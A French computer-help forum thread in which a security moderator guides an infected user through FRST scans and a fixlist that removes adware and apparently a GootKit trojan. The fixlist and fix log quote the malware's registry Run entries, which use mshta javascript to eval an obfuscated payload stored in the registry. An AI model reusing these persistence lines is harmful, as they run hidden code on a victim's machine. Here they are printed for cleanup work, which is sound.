[Help] Virus et malwares qui pourrissent mon ordi [Résolu/Fermé]

Signaler
Messages postés
262
Date d'inscription
samedi 19 octobre 2013
Statut
Membre
Dernière intervention
4 janvier 2017
-
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
-
Bonjour, j'ai fais l'énorme erreur de télécharger un fichier infecté résultat : toutes les 30 sec mon avast affiche une menace bloqué puis quand je veux installer Malwarebytes Anti-Malware Free le virus dans mon ordi m'empêche de l'installer. Avez-vous d'autres logiciels qui supprime ce virus c'est horrible je ne veux rentrer plus aucun mot de passe ou autre pour pas que le truc le voit. Besoin d'aide urgente please :(




4 réponses

Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 284
Salut,

Si tu peux donner les infos sur les détections, ça sera mieux.

Suis ce tutoriel FRST: https://www.malekal.com/tutoriel-farbar-recovery-scan-tool-frst/
(et bien prendre le temps de lire afin d'appliquer correctement - tout y est expliqué).
Télécharge et lance le scan FRST, cela va générer trois rapports FRST :
  • FRST.txt
  • Shortcut.txt
  • Additionnal.txt


Envoie, comme expliqué, ces trois rapports sur le site http://pjjoint.malekal.com et en retour donne les trois liens pjjoint qui mènent à ses rapports ici dans une nouvelle réponse afin que l'on puisse les consulter.



Like the angel you are, you laugh creating a lightness in my chest,
Your eyes they penetrate me,
(Your answer's always 'maybe')
That's when I got up and left
Messages postés
262
Date d'inscription
samedi 19 octobre 2013
Statut
Membre
Dernière intervention
4 janvier 2017
75
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 284
Deux antivirus, cela ne sert à rien.
Désinstalle un des deux.

AV: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AV: avast! Antivirus (Enabled - Up to date) {17AD7D40-BA12-9C46-7131-94903A54AD8B}
AV: AVG AntiVirus Free Edition 2015 (Enabled - Up to date) {4D41356F-32AD-7C42-C820-63775EE4F413}


Désinstalle
ProxyGate
Spyhunter


Tu as des adwares mais surtout ton PC semble être infecté par http://www.supprimer-virus.com/trojan-gootkit-et-trojwonton-mshta-virus/GootKit]
Ce qui est étonnant car normalement il vise les entreprises.


Commence par le fix FRST.


Voici la correction à effectuer avec FRST.
Tu peux t'inspirer de cette note explicative avec des captures d'écran pour t'aider: https://www.malekal.com/tutoriel-farbar-recovery-scan-tool-frst/#fix


Ouvre le bloc-notes : Touche Windows + R, dans le champs executer, tape notepad et OK.
Copie/colle dedans ce qui suit :

HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [**fc9810ce<*>] => mshta javascript:VcKt66sAxk=y5FF;L7h2=new%20ActiveXObject(WScript.Shell);S0S7mpUBOj=Y;kw4L7a=L7h2.RegRead(HKCU\\software\\d16f11a3\\819700fe);soZWJy2Dz=QS11;eval(kw4L7a);xbf5gMx=ytF; <===== ATTENTION (Value Name with invalid characters)
HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [**a04993ac<*>] => mshta javascript:W6m8umyuPC=x;Zg1=new%20ActiveXObject(WScript.Shell);ExMjsv8JJ=3a;kE8fb=Zg1.RegRead(HKCU\\software\\d16f11a3\\819700fe);AzjEr2W=AVyD2hUU;eval(kE8fb);VR8LmfB3A=cBsPr4gC; <===== ATTENTION (Value Name with invalid characters)
HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [ProxyGate] => C:\Users\Inside\AppData\Roaming\ProxyGate\MainService.exe [1143248 2015-04-01] (Gold Click Ltd)
2015-05-23 13:40 - 2015-05-23 14:34 - 00000000 ____D () C:\Users\Inside\AppData\Roaming\Enigma Software Group
2015-05-23 13:35 - 2015-05-23 13:36 - 00000000 ____D () C:\Users\Inside\AppData\Local\BreakingNewsAlert
2015-05-23 13:11 - 2015-05-23 13:11 - 02223104 _____ () C:\Users\Inside\Downloads\adwcleaner_4.205.exe
2015-05-23 13:10 - 2015-05-23 13:10 - 00000000 ____D () C:\ProgramData\Paultuopago
2015-05-23 13:05 - 2015-05-23 14:36 - 00000000 ____D () C:\ProgramData\UswhyV
2015-05-23 13:04 - 2015-05-23 13:04 - 00000000 ____D () C:\Users\Inside\AppData\Roaming\ProxyGate
2015-05-23 12:48 - 2015-05-23 14:29 - 00000000 ____D () C:\Users\Inside\AppData\Local\Ezmjtion


Une fois, le texte coller dans le bloc-note.
Menu Fichier puis Enregistrer sous.
A gauche, place toi sur le bureau.
Dans le champs en bas, nom du fichier mets : fixlist.txt
Clic sur Enregistrer - cela va créer un fichier fixlist.txt sur le bureau.

Relance FRST et clic sur le bouton Fix
Selon comment un redémarrage est nécessaire (pas obligatoire).
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

Redémarre l'ordinateur

Messages postés
262
Date d'inscription
samedi 19 octobre 2013
Statut
Membre
Dernière intervention
4 janvier 2017
75
Merci beaucoup de m'aider après avoir fait le Fix j'ai eu ça :

Fix result of Farbar Recovery Scan Tool (x64) Version: 22-05-2015 01
Ran by Inside at 2015-05-23 17:37:10 Run:1
Running from C:\Users\Inside\Desktop
Loaded Profiles: Inside (Available Profiles: Inside)
Boot Mode: Normal
==============================================

fixlist content:

HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [**fc9810ce<*>] => mshta javascript:VcKt66sAxk=y5FF;L7h2=new%20ActiveXObject(WScript.Shell);S0S7mpUBOj=Y;kw4L7a=L7h2.RegRead(HKCU\\software\\d16f11a3\\819700fe);soZWJy2Dz=QS11;eval(kw4L7a);xbf5gMx=ytF; <===== ATTENTION (Value Name with invalid characters)
HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [**a04993ac<*>] => mshta javascript:W6m8umyuPC=x;Zg1=new%20ActiveXObject(WScript.Shell);ExMjsv8JJ=3a;kE8fb=Zg1.RegRead(HKCU\\software\\d16f11a3\\819700fe);AzjEr2W=AVyD2hUU;eval(kE8fb);VR8LmfB3A=cBsPr4gC; <===== ATTENTION (Value Name with invalid characters)
HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [ProxyGate] => C:\Users\Inside\AppData\Roaming\ProxyGate\MainService.exe [1143248 2015-04-01] (Gold Click Ltd)
2015-05-23 13:40 - 2015-05-23 14:34 - 00000000 ____D () C:\Users\Inside\AppData\Roaming\Enigma Software Group
2015-05-23 13:35 - 2015-05-23 13:36 - 00000000 ____D () C:\Users\Inside\AppData\Local\BreakingNewsAlert
2015-05-23 13:11 - 2015-05-23 13:11 - 02223104 _____ () C:\Users\Inside\Downloads\adwcleaner_4.205.exe
2015-05-23 13:10 - 2015-05-23 13:10 - 00000000 ____D () C:\ProgramData\Paultuopago
2015-05-23 13:05 - 2015-05-23 14:36 - 00000000 ____D () C:\ProgramData\UswhyV
2015-05-23 13:04 - 2015-05-23 13:04 - 00000000 ____D () C:\Users\Inside\AppData\Roaming\ProxyGate
2015-05-23 12:48 - 2015-05-23 14:29 - 00000000 ____D () C:\Users\Inside\AppData\Local\Ezmjtion


HKU\S-1-5-21-833365847-1711297823-849759724-1001\Software\Microsoft\Windows\CurrentVersion\Run\\**fc9810ce<*> => Value Removed successfully
HKU\S-1-5-21-833365847-1711297823-849759724-1001\Software\Microsoft\Windows\CurrentVersion\Run\\**a04993ac<*> => Value Removed successfully
HKU\S-1-5-21-833365847-1711297823-849759724-1001\Software\Microsoft\Windows\CurrentVersion\Run\\ProxyGate => Value not found.
"C:\Users\Inside\AppData\Roaming\Enigma Software Group" => File/Folder not found.
C:\Users\Inside\AppData\Local\BreakingNewsAlert => Moved successfully.
C:\Users\Inside\Downloads\adwcleaner_4.205.exe => Moved successfully.
C:\ProgramData\Paultuopago => Moved successfully.
C:\ProgramData\UswhyV => Moved successfully.
"C:\Users\Inside\AppData\Roaming\ProxyGate" => File/Folder not found.
C:\Users\Inside\AppData\Local\Ezmjtion => Moved successfully.

End of Fixlog 17:37:10

Messages postés
262
Date d'inscription
samedi 19 octobre 2013
Statut
Membre
Dernière intervention
4 janvier 2017
75
Avast me met plus d'alerte comme quoi j'ai un virus donc normalement c'est bon je te remercie énormément tu as été très efficace tu me sauves la vie ;) merci d'avoir consacrer une partie de ton temps à regler mon problème !
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 284
Tu peux faire ça pour voir :

Passe un coup de TDSSKiller : https://forum.malekal.com/viewtopic.php?t=28637&start=
Fais skip sur les détections.
Clic en haut à droite sur reports.
Vas sur http://pjjoint.malekal.com et copie/colle le contenu du rapport TDSSKiller en bas, fais envoyer.
Donne le lien du rapport pjjoint ici dans un nouveau message.

Messages postés
262
Date d'inscription
samedi 19 octobre 2013
Statut
Membre
Dernière intervention
4 janvier 2017
75
En fait en faisant ça, ça m'a supprimé mon thème chrome c'est peut être ça le problème
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 284
Elle vient d'où cette extension zeazg ?
Parce qu'on trouve aucune information sur l'ID.
Messages postés
262
Date d'inscription
samedi 19 octobre 2013
Statut
Membre
Dernière intervention
4 janvier 2017
75
C'est le nom de mon thème chrome sur le moment j'avais la flemme de donner un vrai titre :) donc ça veut dire que c'est ça le problème c'est bizarre parce que c'est une app du chrome web store ça devrait être safe
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 284
ha p'tain ok, remets le alors =)
Messages postés
262
Date d'inscription
samedi 19 octobre 2013
Statut
Membre
Dernière intervention
4 janvier 2017
75
Je me répéte mais merci beaucoup pour tout ce que tu as fait bonne journée et salut ! :)
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 284
=)




Voila, c'est terminé, tu peux supprimer les programmes utilisés.

Quelques conseils :


Pour prévenir les sites malicieux, tu peux installer Blockulicious : https://forum.malekal.com/viewtopic.php?t=46656&start=


Pour ne plus te faire avoir.
A lire - Programmes parasites / PUPs : https://www.malekal.com/adwares-pup-protection/
(Surtout active les détections LPIs pour détecter les programmes parasites et publicitaires)


Le reste de la sécurité : http://forum.malekal.com/comment-securiser-son-ordinateur.html